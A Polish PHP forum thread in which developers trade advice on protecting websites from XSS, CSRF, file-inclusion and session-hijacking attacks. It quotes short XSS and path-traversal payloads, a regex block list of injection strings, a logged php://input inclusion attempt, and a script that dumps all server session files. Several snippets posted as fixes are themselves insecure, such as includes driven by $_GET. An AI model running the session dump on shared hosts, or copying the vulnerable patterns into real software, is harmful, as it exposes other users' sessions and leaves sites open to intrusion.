"Blah, pomyślałem o czym innym. [; " - wiem o czym myślałeś, dlatego zrobiłem formularz ;] hehe
Ale macie problemy, jak komuś jest potrzebne strip_tags to go użyje mi np do routingu jest potrzebny i go używam ile wlezie, w dodatku z joomli zakosiłem parę wyrażen regularnych, o to one
<?php if(http://www.php.net/preg_match('/mosConfig_[a-zA-Z_]{1,21}(=|%3D)/',$strInput)) { $strInput = http://www.php.net/preg_replace('/mosConfig_[a-zA-Z_]{1,21}(=|%3D)/','',$strInput); } if(http://www.php.net/preg_match('/base64_encode.*(.*)/',$strInput)) { $strInput = http://www.php.net/preg_replace('/base64_encode.*(.*)/','',$strInput); } if(http://www.php.net/preg_match('/(<|%3C).*script.*(>|%3E)/',$strInput)) { $strInput = http://www.php.net/preg_replace('/(<|%3C).*script.*(>|%3E)/','',$strInput); } if(http://www.php.net/preg_match('/GLOBALS(=|[|%[0-9A-Z]{0,2})/',$strInput)) { $strInput = http://www.php.net/preg_replace('/GLOBALS(=|[|%[0-9A-Z]{0,2})/','',$strInput); } if(http://www.php.net/preg_match('/_REQUEST(=|[|%[0-9A-Z]{0,2})/',$strInput)) { $strInput = http://www.php.net/preg_replace('/_REQUEST(=|[|%[0-9A-Z]{0,2})/','',$strInput); } ?>
A mnie zastanawia po jakie licho Ci preg_matche w tym.
Co wy na to, żeby zamiast backslashowania dane wysyłane do MySQL zakodować w base64 i w takiej postaci je trzymać w bazie? A przy wyświetlaniu odkodować i np. usunąć tagi html?
Też kiedyś myślałem o użyciu base64 ... ale potem zrozumiałem, że lepiej zamieniać na kod binarny - czyli 0 i 1 ... a następnie dokładać dane kontrolne oraz naprawcze. Mój pomysł okazał się genialny w swojej prostocie ... tylko nie wiem czemu tak szybko baza się rozrastała .... hmm
~nospor, ale wady przeważają nad korzyściami.
edit@down: bannerowo-grafikowa ślepota
@erix ale te mrugniecie oka zauwazyles na koncu mojego zdania? Znaczylo ono, iz moją odpowiedź nalezy potraktowac z przymruzeniem oka, taki zart....
juz nie wspomne o tym zdaniu
Po co ludzie kombinują na już ósme i dziesiąte sposoby, zamiast korzystać ze sprawdzonych i 100% dobrych sposobów
<?php if ($_POST['haslo'] == 'test') { }else{ } ?>
a nie wystarczy calkowite strip_tags() (uzywamy bbcode) + mysql_real_escape_string() + filtracja danych ?
A może byś tak ten wątek od początku przeczytał...?
Cześć, a jak wygląda sprawa tablic (ARRAY)? Da się jakoś je wykraść z poziomu przeglądarki? - nie znam się na hakerstwie, i stąd moje pytanie. W tablicy trzymam np. ustawienia strony, połączenie do bazy (dane).
$settings = http://www.php.net/array ( 'db' => http://www.php.net/array ( 'host' => 'localhost', 'user' => 'root', 'pwd' => 'krasnal' ), );
W podanym przez Ciebie przykladzie nie ma szansy na wykradniecie tego z poziomu przegladarki.
Jedynym sposobem dobrania sie do tablicy to wglad w kod zrodlowy.
BTW. Pliki z configiem, kodem zrodlowym php, mysql nie trzymaj w katalogu public_html tylko pietro wyzej, tak zeby z poziomu przegladarki nie miec do nich dostepu.
Jak zabezpieczać sesje? A właściwie to chodzi mi o rozwiazanie z tokenami, prześledziłem cały ten wątek jak i wiele innych materiałów w sieci. Ale dalej męczą mnie pytania na które nie znam odpowiedzi.
Rozumie że kiedy użytkownik się loguje do systemu i przejdzie przez cały proces weryfikacyjny, ma być generowany unikalny token.
Na 6 stronie jest przykłądowy skrypt jak taki token generować, przy pomocy output_add_rewrite_var taki token mogę przypisać do "wszystkich" (większośći linków) wewnątrz serwisu.
Pytania:
1: Hmm, na większość Twoich pytań najlepszą odpowiedzią byłoby nieco lektury na temat XSRF (jest w wiki).
2: robisz stronę dla banku? A teraz na serio - każdorazowe regenerowanie ID sesji jest nieco przesadne...
3: jeśli ustawisz długość sesji przez http://pl.php.net/session_set_cookie_params.
8: wiele razy słyszałem zdanie w stylu - chcesz projektować dobre zabezpieczenia? musisz zacząć myśleć, jak złodziej. Żaden automat nie zastąpi dobrego i doświadczonego audytora. Odpowiadając na pytanie - nie słyszałem o takich narzędziach.
Co do punktu 5 to nie wpadłem na takie rozwiązanie jak przedstawiłeś - ale to jest dobry pomysł. Nie robie strony dla banku, tylko chciałem zakres swójej wiedzy trochę poszerzyć.
Chciałbym w komentarzach dać możliwość userom wpisywania urli, czy filtrowanie wszystkiego poza literami, cyframi, slashem oraz kropkami i myślnikami jest bezpieczne?
Witam
Ostatnio rejestrowałem się na sfd.pl i tam zauważyłem dość ciekawy mechanizm (i prosty) mechanizm ochrony przed botami.
Otóż standardowo po rejestracji dostajemy na maila linka aktywacyjnego, ale ten zamiast na właściwą stronę, to przenosi nas na formularz gdzie musimy wpisać hasło, aby zakończyć rejestację. Hasło jest oczywiście w mailu z wcześniej wysłanym linku aktywacyjnym?
Zastanawiam się czy nie zastosować tego u siebie (obecnie mam tylko zwykłą walidację pól przy rejestracji + link na maila). Na pierwszy rzut oka mechanizm wydaje mi się odporny na boty, co o tym myślicie?
Pozdrawiam
Czyli lepiej dać to i to:)
Pozdrawiam
Sposób będzie odporny na boty, dopóki się nie upowszechni i ktoś nie napisze bota pozwalającego go obejść, co zresztą nie byłoby takie znowu trudne. Takie wynalazki mają szansę dłużej podziałać jedynie wtedy, gdy będą na tyle unikalne, a strona na tyle mała, że "grube ryby" po prostu nie zauważą, że spamowanie tam nie do końca działa, jak powinno. Coś takiego mam na swoim blogu - zabezpieczenie jest idiotycznie prosto obejść, lecz jest ono też tak bardzo powiązane z pomysłem tego bloga, że praktycznie jest nie do powielenia na innych stronach, a tym samym twórcom botów nie opłaca się specjalnie dla niego pisać odpowiedniego algorytmu.
Jeśli chcesz w miarę skuteczny sposób na przeciwdziałanie rejestrowaniu się spamerom, po prostu podłącz się do jakiejś bazy spamerów, np. http://www.stopforumspam.com/ - przy rejestracji możesz odpytać ją o to, czy dany użytkownik jest spamerem i jeśli tak, to dane konto oznaczasz jako "do ręcznego aktywowania przez administratora".
<?php function isSpammer($name, $mail, $ip) { $mh = curl_multi_init(); $ch[] = curl_init(); curl_setopt(http://www.php.net/end($ch), CURLOPT_URL, 'http://www.stopforumspam.com/api?username='.$name); curl_setopt(http://www.php.net/end($ch), CURLOPT_RETURNTRANSFER, true); curl_multi_add_handle($mh, http://www.php.net/end($ch)); $ch[] = curl_init(); curl_setopt(http://www.php.net/end($ch), CURLOPT_URL, 'http://www.stopforumspam.com/api?email='.$mail); curl_setopt(http://www.php.net/end($ch), CURLOPT_RETURNTRANSFER, true); curl_multi_add_handle($mh, http://www.php.net/end($ch)); $ch[] = curl_init(); curl_setopt(http://www.php.net/end($ch), CURLOPT_URL, 'http://www.stopforumspam.com/api?ip='.$ip); curl_setopt(http://www.php.net/end($ch), CURLOPT_RETURNTRANSFER, true); curl_multi_add_handle($mh, http://www.php.net/end($ch)); $response = http://www.php.net/array(); $running = null; do { curl_multi_exec($mh, $running); }while($running > 0); foreach ($ch as $val) { $response[] = curl_multi_getcontent($val); curl_multi_remove_handle($mh, $val); } curl_multi_close($mh); $spammer = false; foreach ($response as $val) { if (http://www.php.net/preg_match('#<appears>yes</appears>#', $val)) { $spammer = true; break; } } return $spammer; } http://www.php.net/var_dump(isSpammer('Sanjana', 'sdfsdf@gmail.com', '127.0.0.1')); http://www.php.net/echo '<br/>'; http://www.php.net/var_dump(isSpammer('Sanjanad', 'afghdfgh@gmail.com', '81.200.16.66')); http://www.php.net/echo '<br/>'; http://www.php.net/var_dump(isSpammer('arturf209', 'mojmail@gmai.com', '127.0.0.1')); ?>
@fifi209: a to ta strona www.stopforumspam.com nie umożliwia pobrania bazy spamerów? Przeszukanie lokalnej bazy danych będzie bezporównania szybsze, niż wykonywanie rządań curlem. Do tego zautomatyzowany cotygodniowy update lokalnej bazy.
Hey pytanie o bezpieczeństwo , co jest lepsze do zabezpieczenia się przed XSS :
htmlspecialchars($str, ENT_NOQUOTES, 'UTF-8') czy filter_var ( $val , FILTER_SANITIZE_SPECIAL_CHARS) ?
Ja uważam, że to drugie z ustawionymi flagami na stripowanie low (kody ASCII niższe niż 32) i high (kody ASCII powyżej 127). Ostatecznie zawsze można się zastanawiać nad sanitize_string. Zależy do czego konkretnie potrzebne. Ale to chyba sam wiesz z doświadczenia
A według mnie ta pierwsza metoda. Jest czytelniejsza, szybsza i nie do ominięcia.
@pyro - mógł byś podać argumenty/źródła dzięki którym masz taką pewność?
A który konkretnie argument masz na myśli?
Wiem, że o tego posta mu chodziło, ale pytałem o którą konkretnie rzecz mu chodzi:
- czytelniejsza (według mnie) - jest w przypadku dodatkowych flag dla filter_var. Programista często nie zna na pamięć wszystkich znaków ASCII, a htmlspecialchars() ma prostą i zrozumiałą budowę. Jednak jeżeli miałyby być one wywoływane dosłownie w ten sposób jak to napisał @Spawnm, to generalnie nie ma to różnicy
- szybsza - kiedyś zadałem sobie takie samo pytanie, więc potrudziłem się o testy. Różnica szybkości jest mało znacząca, ale jeśli już jesteśmy przy porównywaniu...
- nie do ominięcia - a co? Zna ktoś jakoś metodę, aby ominąć to filtrowanie?
Nie wiem czy się da (nie wiem czy ktoś już się potrudził o testowanie bezpieczeństwa tej funkcji), jednak wiem, że htmlspecialchars() na pewno się nie da.
Hey chcę dać userowi możliwość wstawiania linków przez bbcode na stronie www , i teraz pytanie:
czy taki kod:
//any string $str='http://sadf.pl onclick="alert(1)"'; //filtr $str=http://www.php.net/str_replace(http://www.php.net/array('%20','+',' ','"','\''),'',$str);
Usunięcie ciągu javascript oraz wywalenie " jest wystarczające (oczywiście z linku)
A po co wywalenie ciągu javascript?
Link zawsze zaczyna się od http:// więc dodanie na końcu http://adsf.pl/java script:alert(1) nic nie da
A to kurcze już nie pamiętam jak to było To wtedy nie wystarczy samo usunięcie " albo zastąpienie go encja? Bo twoim zabezpieczeniem usuwasz możliwość podania niektórych prawidłowych linków (dlaczego usuwasz plus ?)
Hmm , pośpieszyłem się z tym '%20' i '+' , wydawało mi się że jak spacja to %20 lub + w adresie to i w html uzna te znaki .
o ile się nie mylę to niektóre przeglądarki też obsługują onclick=alert(1) tzn bez cudzysłowu, jeśli chodzi o doklejanie czegoś do url, to weź pod uwagę czy możesz wyświetlić treść usera w innym miejscu niż url + czy w serwisie nie masz jakiegoś skrytpu, którego zadaniem jest przekierowanie na inną stronę
A jak najlepiej zapobiec zarejestrowanemu użytkownikowi na tworzenie kolejnych kont na stronie z innych ip oraz innych przeglądarek?
Pomyślałem o wrzuceniu usera IP do bazy lecz każdy wie że ono jest zmienne np u neostrady itd...
Czy zna ktoś może lepsze rozwiązanie?
mail też jest słabym pomysłem - jest pełno serwisów, które oferują tworzenie czasowych maili
Można zrobić listę dozwolonych maili.
No ale również to nie jest żaden problem poświęcić 5min aby stworzyć konto pocztowe np w wp.pl a nawet 10min na dwa takie konta itd.
A to wielka szkoda sprawdzanie nawet randomowego id poprzez cookies też można luźno ominąć poprzez wyczyszczenie ciasteczek:/
Pomyślałem również aby IP było sprawdzane jak i aktualizowane przy każdym logowaniu oraz wylogowaniu no i rejestracji.
Banalne rozwiązanie ale chyba lepszego nie znajdę a zawsze to jakiś tam sposób na chociaż drobne zabezpieczenie.
Chociaż sprawa się wymyka z pod kontroli jeśli to użytkownik znajduje się w sieci i pozostałe osoby w jego sieci już się nie zarejestrują z nowym kontem.
Soulast,
http://forum.php.pl/index.php?showtopic=141712&hl=
Zapraszam do mojego topicu, jest troche wiecej na temat 1uzytkownik - 1konto, ale niestety idealnego rozwiazania chyba nie ma :/
Hey,
mam pytanie jak najlepiej zabezpieczyć upload/server/download aby user mógł uploadować dowolne pliki nawet wirus.php , aby każdy mógł pobrać ale aby się nie mogły wykonać na servie ?
Servie? A zresztą nieważne.
Normalnie, wrzucasz je na serwer, pozostawiasz jedynie prawa do odczytu/zapisu dla użytkownika serwera HTTP, dla całej reszty zabraniasz wszystkiego. Pliki PHP to zwykłe pliki tekstowe - więc nie da się ich wykonać.
Bełdzio czytałem kiedyś, tylko zastanawiam się czy nadawanie losowych nazw + regułka dla folderu z plikami :
order deny,allow
deny from all
zapewnią mi w 100% bezpieczeństwo że ktoś czegoś nie wykona.
Bo sprawdzenia mime nie będzie, user będzie mógł wsadzić co mu się podoba.
Crozin dobrze pisze, zablokować wykonywanie plików.
regułka w mod_rewrite żeby wszystko przekierowywało na (np.) index.php a w nim readfile() (+ inne śmiecie do wyświetlania mime)
tyle, że samym readfile też można sporo namieszać tak więc też trzeba zrobić to z głową
Owszem, może ale wystarczy dodać sprawdzanie nazwy pliku/katalogu i po problemie. Lub też mieć nazwy plików w bazie a w tedy odwoływać się do plików poprzez id.
i najważniejsze, katalog z plikami nie dostępny z zewnątrz.
przy złej implementacji "najwyżej" ktoś pobierze spobie konfigurację do bazy danych i parę innych plików/danych
Hey,
co to za rodzaj ataku że komuś się dolepia do strony:
/strona.php?page=php://input
Z logów mi wynika że od pewnego czasu ktoś mnie ciągle tym częstuje ...
zobacz sobie raw post data, php://input zawiera niesparsowane dane przesłane na serwer poprzez post
hey,
powiedzcie jak się zabezpieczacie przed atakami na usera typu [img=mojastrona.pl/ct/act?delete=id_czegos_danego_usera ?
Niby powinno wystarczyć danie w bootstrapie takiego kodu:
if($_GET){ //czy jest ref ? if(http://www.php.net/isset($_GET['delete']) && !http://www.php.net/isset($_SERVER['HTTP_REFERER'])){ http://www.php.net/exit; } //czy ref to nasza strona ? if(http://www.php.net/isset($_GET['delete'])){ $host = http://www.php.net/parse_url($_SERVER['HTTP_REFERER']); $host = $host['host']; $local = $_SERVER['HTTP_HOST']; if($host !== $local ){ http://www.php.net/exit; } } }
A co jeśli wyłączę sobie wysyłanie nagłówka REFERER?
1. Akcje dodaj, usuń, edytuj, przenieś itp. powinny być wykonywane metodą POST.
2. Niezależnie od metody używaj jednorazowego, unikalnego tokenu.
3. http://en.wikipedia.org/wiki/Csrf.
1) Wysłanie postem
2) Wymagany dodatkowy losowy klucz w parametrze $_GET (generowany na stronie poprzedniej i np zapisywany w sesji)
3) Przy bardzo wrażliwych danych ponowne zalogowanie
4) To z refererem też jest niegłupie
1. Wysyłaj dane postem (słabe zabezpieczenie).
2. Operacje mogące spowodować jakiekolwiek szkody - weryfikacja przy pomocy tokena.
3. Operacje mogące spowodować duże szkody - wymaganie podania hasła.
A czy nie dałoby radę zabezpieczyć plików przed potencjalnym hax0rem w .htaccess? coś typu Disallow from all i dać sobie dostęp tylko do plików na IP które mogą zaszkodzić stronie w sumie zabezpieczaniu jestem na początkowym stanie, ale ostatnio sprawdzałem u kumpla czy może wbić w dany plik i wyskoczyło mu że nie ma dostępu :]. Fakt że hax0r będzie szukał głębiej, nie mniej jednak i tak to jest jakieś zabezpieczenie już.
Tak sobie czytam i czytam ten temat i doszedłem to następujących wniosków:
* Jeśli już robić wczytywanie podstron za pomocą include to owe podstrony muszą być w osobnym katalogu:
if(http://www.php.net/is_file('/katalog/'.$_GET[strona].'.php')){ include ('/katalog/'.$_GET[strona].'.php'); }
A może by tak przeczytać CAŁY temat i nie siać herezji, zwłaszcza z bezpośrednim wstawianiem wartości z tablicy $_GET?
Przeczytałem cały temat, ale uwierz mi - te wasze małe "sprzeczki" gdzie ktoś mówi, że bredzicie a potem Wy staracie się udowodnić coś manualem... Z tego tematu stał się śmietnik a nie poradnik. Ktoś taki jak ja wchodzi, czyta i ma jeszcze większy mętlik bo ktoś powiedział o czymś tak a jeszcze inny inaczej. Tylko któraś z tych opinii jest słuszna a któraś błędna. To może warto by było zostawić tylko te słuszne? Temat zmniejszył by się o co najmniej kilka stron. Tylko komu by się chciało....
if(http://www.php.net/is_file('/katalog/'.$_GET[strona].'.php')){ include ('/katalog/'.$_GET[strona].'.php'); }
$liczba = (int)$_GET['liczba'];
A ja mam takie pytanko, co z takim kodem?
if($_GET['akcja'] == "uzytkownicy") { include('uzytkownicy.php'); }
$_SESSION['user'] = costam; $_SESSION['ugroupID'] = costam;
@evilpr0
Twój kod jest OK
A co jezeli includujemy pliki bezposrednio uzywajac wartosci get, i pliki includowane znajduja sie w oddzielnym katalogu, ale ktos bedzie sprytny i poda nam w GET sciezke /../../costamcostam.php? /.. - powinno nas przeniesc do katalogu niżej.
Jesli juz ktos koniecznie chce brac bezposrednio z GET to musi regexpem wykasowac te znaki z parametru.
Ja tam jestem zwolennikiem białej listy: kazda klasa ktora includuje pliki / uruchamia metody w php funkcją call() biorąc jako parametr parametr z $_GET, korzysta z białej listy (listy dozwolonych wartosci parametru). Taką listę mozna sobie bardzo szybko utworzyc za pomocą array('parametr_1','parametr_2')... a sprawdzic poprawnosc za pomocą
$naszParametr = htmlspecialchars($_GET['param']);
if (!(in_array($naszParametr, $tablicaDozwolonychWartosci))
{
/* Parametr nieprawidlowy, nie znaleziono na liscie, ustawiamy mu tutaj wartosc domyslna lub zatrzymujemy program */
}
/* od tego momentu mozemy uwazac wartosc w $naszParametr za poprawną */
include($naszParametr) / call($naszParametr);
itd itp
biała lista jest znacznie bezpieczniejsza od czarnej listy czy w ogole niesprawdzania poprawnosci bo chroni cie tez przed tym czego nie możesz przewidzieć
uFF... minęło 30 minut od kiedy zacząłem czytać temat... i w zasadzie się zgubiłem... Więc może ja zapytam, czy mój kod jest poprawny i ewentualnie jak go "zabezpieczyć"
if(http://www.php.net/isset($_GET['zmienna'])){ $przed = http://www.php.net/array("\"", "\'", "\\", ">", "<", " ", "%", "_", "&", "#", "0", "9", "2", ";", ":", "/", "$", "GET", "_", "[", "]"); $po = http://www.php.net/array("", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""); $zmienna = http://www.php.net/str_replace($przed, $po, $_GET['zmienna']); }else{ $zmienna='pusta'; }
Przed tym to ma zabezpieczać? Tutaj jedynie ucinasz sobie szereg funkcjonalności z GET-a zamiast rozważnie pisać kod (a to nie jest takie trudne)
no ma zabezpieczać przed atakiem... szeroko rozumianym... gdybym był pewnie na Twoim poziomie wiedzy, to bym tak banalnych pytań nie zadawał... Jeśli mam jakoś bardziej doprecyzować to powiedz jak, a na pewno udzielę odpowiedzi bo jestem żywnie zainteresowany tym, aby moja aplikacja była bezpieczna...
zmienne są różne niektóre numeryczne inne tekstowe...
na podstawie tej zmiennej ładuję np. pliki konfiguracyjne dla danej strony... np.
http://www.adres.pl/index.php?zmienna=nazwafirmy
na podstawie tego ładuję pliki
include("$nazwafirmy/config.php");
http://www.php.net/echo "\n<link rel=\"stylesheet\" type=\"text/css\" href=\"$nazwafirmy/style.css\" />";
swoją drogą zamiast pisać tak:
$po = http://www.php.net/array("", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""); $zmienna = http://www.php.net/str_replace($przed, $po, $_GET['zmienna']);
$zmienna = http://www.php.net/str_replace($przed, null, $_GET['zmienna']);
Elo co stosujecie przed csrf i full path disclosure?
Co do pierwszego zastanawiam sie nad tokenami w url lub przez post (pole typu hidden).
Co do tego drugiego co stosujecie?error_reporting(0) to racej obejcie problemu niz jego likwidacja.
Stosujecie wlasne klasy obslugi bledow?
Dla mniej wtajemniczonych jest Google i Wikipedia, której wystarczy użyć: http://pl.wikipedia.org/wiki/Chroot
Kilka ostatnich dni spędziłem na analizie tego, co wcześniej pisano na forum i tego, co pisano w artykułach na innych stronach.
Było kilka niejasnych pomysłów na zabezpieczenie strony stąd kilka moich pytań.
1. wielokrotnie mówiono, że dobrym zabezpieczeniem przed CSRF jest dodawanie do ważnych linków tokena - mam jednak pytanie, czy optymalnym rozwiązaniem jest, aby taki token był nadawany przy logowaniu i był on aktywny aż do czasu trwania sesji, czy za każdym razem koniecznie musi być nadawany nowy token? pytam, bo w przypadku drugiego rozwiązania będę mieć o wiele więcej pracy
2. czy koniecznie muszę filtrować nawet dane z tablicy SERVER?
przykład zapytania:
mysql_query("INSERT INTO tabela (`id`, `ip`) VALUES(NULL, '$_SERVER[REMOTE_ADDR]')");
3. znalazłem taki kod, który zabezpiecza system przed Session Fixation i Session Hijacking, jednak po jego użyciu mój system logowania nie działa poprawnie
wg mnie to największy problem, bo jeśli ktoś przejmie moją sesję, przejmę całkowitą kontrolę nad systemem i będzie mógł zrobić niemal wszystko
<? if (!http://www.php.net/isset($_SESSION['inicjuj'])) { http://www.php.net/session_regenerate_id(); $_SESSION['inicjuj'] = true; $_SESSION['ip'] = $_SERVER['REMOTE_ADDR']; } if($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) { http://www.php.net/die('Proba przejecia sesji udaremniona!'); } ?>
<? if(http://www.php.net/isset($_SESSION['user_id']) && $_SESSION['user_agent'] == $_SERVER['HTTP_USER_AGENT'] && $_SESSION['user_ip'] == $_SERVER['REMOTE_ADDR']){ http://www.php.net/echo'zalogowany'; } else{ http://www.php.net/echo'niezalogowany'; } ?>
1. powinno być za każdym razem generowane z osobna
2. $_SERVER['HTTP_USER_AGENT'] zawiera dane potencjalnie niebezpieczne.
4. php.ini lub ini_set()
6. ni zostanie, chyba że otwarcie obu stron nastąpi w tym samym momencie.
7. i tak i nie, bo to proces httpd/cgi ma odczytać ten plik i uprawnienia muszą być dostosowane do uprawnień procesu wykonującego (choć zwykle jest to root/httpd)
9. sesja powinna być unikalna, więc ID jest nie potrzebne
10. jak przy 9.
1. rozumiem, szkoda
2. to dla pewności lepiej wszystkie zmienne z $_SERVER sprawdzę
3. [brak odpowiedzi]
4. działa
5. [brak odpowiedzi]
6. faktycznie, działa prawidłowo - czy zatem to jest najlepsze zabezpieczenie przed kradzieżą identyfikatora sesji, czy może jeszcze coś warto zrobić?
7. nie rozumiem, możesz troszkę jaśniej? który chmod będzie najbezpieczniejszy, skoro config jest jedynie includowany przez silniczek
8. [brak odpowiedzi]
9. tworzy się sesja i jedną z ich wartości jest 'user_id', system sprawdza, czy jest użytkownik o podanym ID i ładuje od niego informacje, jeśli bym do bazy zapisywał ID sesji, to bym zaraz go stracił, skoro używam session_regenerate_id() - chyba że po zalogowaniu się będziemy tworzyć w sesji unikalny 'hash', który będzie stały po odświeżeniach i jego wartość zapiszemy w bazie - ale w sumie co za różnica, ID usera to żadna tajemnica
10. [proszę o ponowną odpowiedź w związku z prowadzoną dyskusją w punkcie 9]
10. jak przejmiesz SID to co za problem (głównie ataki XSS i inne robactwo systemowe)?
Jedyne co w tym wypadku pozostaje to sprawdzanie danych dodatkowych jak adres IP (zmienny), przeglądarka internetowa, czy inne parametry, ale to wszystko i tak można przejąć.
Inna sprawa że autologowanie można ograniczyć do jednego komputera (tylko na jednym komputerze autologowanie) + regeneracja klucza autologowania.
A jeszcze lepsza opcja to prośba o podanie hasła przy ważniejszych zmianach.
ogólnie nie widzę żadnej możliwości zabezpieczenia się przed wykorzystaniem przejętego SID (wygoda VS bezpieczeństwo).
Najlepiej jakby każda otwarta karta miała swój własny identyfikator, a do tego każde użycie sesji zliczane. Ale to tylko umożliwia zabezpieczenie przed przejęciem.
Ale jak skutecznie zabezpieczyć autologowanie?
(sprawdzanie IP, przeglądarki, danych JS jak localStorage, geolokacja, e-tagi, certyfikat, czy jeszcze jakieś inne możliwości)
1. wyjaśnione
2. wyjaśnione
3.
<? http://www.php.net/ini_set('session.use_only_cookies', 1); ?>
Nie wiem czy dobrze zrozumiałem, ale chodzi o to, żeby zamiast $_SESSION['userId'] zapisywać $_SESSION['hashGenerowanyZUserId']? Po co?
I przy okazji mam jedno pytanie, na które każdy odpowiada inaczej, można w końcu manipulować danymi przechowywanymi w zmiennej sesyjnej czy też nie można? np. $_SESSION['czyAdmin']?
Pomijając kwiatki typu $_SESSION['czyAdmin'] = $_POST['jakiespole'] gdzieś w kodzie.
Legendy głoszą, że na serwerach współdzielonych, można było "podkradać" pliki sesji innych użytkowników danego serwera
To zależy od konfiguracji serwera, ale generalnie local session hijacking to nie legenda Wszystko opiera się na założeniu, że serwer składuje dane sesji w katalogu np. /tmp do którego dostęp jest globalny dla shared hostingu, przy takiej konfiguracji możesz sobie te pliki odczytać. Przynajmniej takie jest założenie.
Proste doświadczenie, uruchom skrypt:
$files=(http://www.php.net/array)http://www.php.net/glob(http://www.php.net/session_save_path().'/*'); if (http://www.php.net/count($files)>0){ foreach ($files as $k=>$file){ $fileName=http://www.php.net/basename($file); if (http://www.php.net/substr($fileName,0,5)=='sess_'){ $session_id=http://www.php.net/substr($fileName,5); http://www.php.net/echo 'Dump for: '.$session_id.'<br />'; http://www.php.net/var_dump(http://www.php.net/file_get_contents($files[$k])); } } }
kwestią zabezpieczeń serwera chyba nie muszę się martwić, bo mam wykupiony serwer u porządnej firmy - z tego co wiem przynajmniej
czy ktoś może odpowiedzieć na moje pytania?
szczególnie na pytania: 3 (jak zabezpieczyć się przed kradzieżą sesji), 8, 9, 10
Moim zdaniem jeżeli twoja strona będzie odporna na XSS dodatkowo masz regenerację id sesji i porządnie skonfigurowany serwer to jedyną opcją na przejęcie session_id jest bezmyślne podanie go komuś, jednak przed głupotą się nie uchronisz. Jeżeli masz taką możliwość użyj SSL.
Zabezpieczenie z IP jest jakimś rozwiązaniem, jednak ma swoje ograniczenia ktoś już wspominał o NAT.
Załóżmy, że session_regenerate_id się nie wywołało i ktoś przejął moje aktualne PHPSESSID z ciastka.
Kiedy będzie chciał się podać za mnie, to wtedy przy session_start, zrobi się session_regenerate_id(true) i jeśli np. ip będzie różne to session_destroy.
Wszystko ładnie, on się nie zaloguje. Ale jednocześnie session_destroy będzie też dotyczyć Bogu ducha winnego mnie, więc będę musiał się znowu zalogować. Jest na to jakiś sposób, aby nie wiem, niszczyło jemu sesję i zmieniało PHPSESSID, a mnie nadawało nowy PHPSESSID z wartościami sesji, takimi jakie miałem ?
Nie ma takiej możliwości, chyba że umiesz w magiczny sposób rozpoznać kto jest prawidłowym właścicielem sesji. A tak to najbezpieczniej wywalić obu.
ok, więc skoro nie ma możliwości przed zabezpieczeniem się przed kradzieżą sesji, to czy ktoś może mi pomóc z punktami: 8, 9, 10?
Na twoim miejscu zamiast wymyślać koło na nowo(z możliwością popełnienia błędów) zobacz w gotowe skrypty np. tego forum IP.Board
2. adresów IP raczej nie powinno się przechowywać jako string tylko jako int
8. szybkie algorytmy hash'ujące nie są zalecane do przechowywania haseł, bo chcesz właśnie żeby atakujący musiał poświęcić dużo zasobów do odkrycia stringa odpowiadającego hash'owi. Tu masz to opisane:
http://php.net/manual/en/faq.passwords.php
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
czy reasumując:
1. nie ma możliwości, aby napisać system w ten sposób, aby za jego pośrednictwem ktoś mógł wykraść sesję i ją wykorzystać
2. szybkie hashowanie jest niebezpieczne, bo jeśli ktoś ukradnie mi hash i pozna sól systemową i indywidualną dla użytkownika, będzie mógł poznać hasło (tyle że najpierw musi poznać obie sole)
3. przy logowaniu do sesji mam zapisać jak najwięcej danych, które się z nim będą identyfikowały, prócz adresu IP, bo ktoś może mieć zmienny adres
4. autologowanie jest niebezpieczne i lepiej go nie robić
Ale 3. do słowa "prócz" chyba jest prawdą? No bo jak inaczej identyfikować prawdziwego użytkownika?
edit: Również mając wzgląd na wyeliminowanie, multi-kontowości.
Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)